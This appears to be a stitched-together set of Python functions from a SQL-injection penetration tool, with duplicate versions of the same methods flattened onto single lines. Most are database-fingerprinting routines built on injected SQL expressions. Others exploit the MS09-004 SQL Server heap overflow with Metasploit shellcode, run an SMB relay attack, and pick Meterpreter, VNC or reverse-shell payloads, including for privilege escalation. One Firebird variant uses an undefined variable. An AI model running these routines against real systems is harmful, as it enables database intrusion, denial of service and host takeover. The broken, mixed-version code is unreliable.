def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)")) if result and result.isdigit(): Backend.setVersion(str(result)) else: for version in xrange(12, 16): result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False
def checkDbms(self): if ( not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES) and Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION ): v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) randInt = randomInt() result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt)) if result: infoMsg = "confirming %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) setDbms("%s %s" % (DBMS.FIREBIRD, version)) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) for version in xrange(12, 16): result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False
def checkDbms(self): if ( not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and Backend.getVersion().isdigit() ): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in ( ("2000", "HOST_NAME()=HOST_NAME()"), ("2005", "XACT_STATE()=XACT_STATE()"), ("2008", "SYSDATETIME()=SYSDATETIME()"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), ): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: randInt = randomInt() result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in [ ("2000", "HOST_NAME()=HOST_NAME()"), \ ("2005", "XACT_STATE()=XACT_STATE()"), \ ("2008", "SYSDATETIME()=SYSDATETIME()") ]: result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: Backend.setVersion(v) setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM RDB$DATABASE WHERE [RANDNUM]=[RANDNUM])>0") if result: infoMsg = "confirming %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) setDbms("%s %s" % (DBMS.FIREBIRD, version)) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False
def osBof(self): if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " inp = readInput(msg, default="N") if inp and inp[0].lower() == "y": dos = True else: dos = False if dos: self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof()
def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES): setDbms(DBMS.DB2) return True logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)") if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES): setDbms("%s %s" % (DBMS.H2, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.H2 logger.info(infoMsg) result = inject.checkBooleanExpression("ZERO() IS 0") if result: infoMsg = "confirming %s" % DBMS.H2 logger.info(infoMsg) result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 logger.warn(warnMsg) return False else: setDbms(DBMS.H2) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 logger.warn(warnMsg) return False
def osSmb(self): self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise SqlmapUnsupportedDBMSException(errMsg) if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if Backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb()
def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr
def checkDbms(self): """ References for fingerprint: DATABASE_VERSION() version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d') version 2.2.5 added SYSTIMESTAMP function version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions version 2.2.0 added support for ROWNUM() function version 2.1.0 added MEDIAN aggregate function version < 2.0.1 added support for datetime ROUND and TRUNC functions version 2.0.0 added VALUES support version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the full version string, including the 4th digit (e.g 1.8.0.4). version 1.7.2 CASE statements added and INFORMATION_SCHEMA """ if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES): setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("1.7.2"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1") if result: infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) return False else: kb.data.has_information_schema = True Backend.setVersion(">= 1.7.2") setDbms("%s 1.7.2" % DBMS.HSQLDB) banner = self.getBanner() if banner: Backend.setVersion("= %s" % banner) else: if inject.checkBooleanExpression("(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): Backend.setVersionList([">= 2.0.0", "< 2.3.0"]) else: banner = unArrayizeValue(inject.getValue("\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) if banner: Backend.setVersion("= %s" % banner) else: Backend.setVersionList([">= 1.7.2", "< 1.8.0"]) return True else: warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB logger.warn(warnMsg) return False
def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) randInt = getUnicode(randomInt(1)) result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("USER()=USER()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,%s,%s))" % (randInt, randInt)): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5.0") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt,randInt)): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL WHERE %s!=%s)" % (randInt, randInt, randInt, randInt)): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) # For cases when information_schema is missing elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False
def __selectPayload(self): if kb.os == "Windows" and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges, either via 'incognito' " infoMsg += "extension or via 'getsystem' command" logger.info(infoMsg) __payloadStr = "windows/meterpreter" else: __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList) if __payloadStr == "windows/vncinject": choose = False if Backend.getIdentifiedDbms() == DBMS.MYSQL: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.getIdentifiedDbms() == DBMS.PGSQL: choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": __payloadStr = "windows/meterpreter" break elif choice == "3": __payloadStr = "windows/shell" break elif choice == "1": if Backend.getIdentifiedDbms() == DBMS.PGSQL: logger.warn("beware that the VNC injection might not work") break elif Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") return __payloadStr
def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES): setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None: hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "") # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5.0") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False
def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn( "beware that the VNC injection might not work") break elif Backend.isDbms( DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith( "reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ( "S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr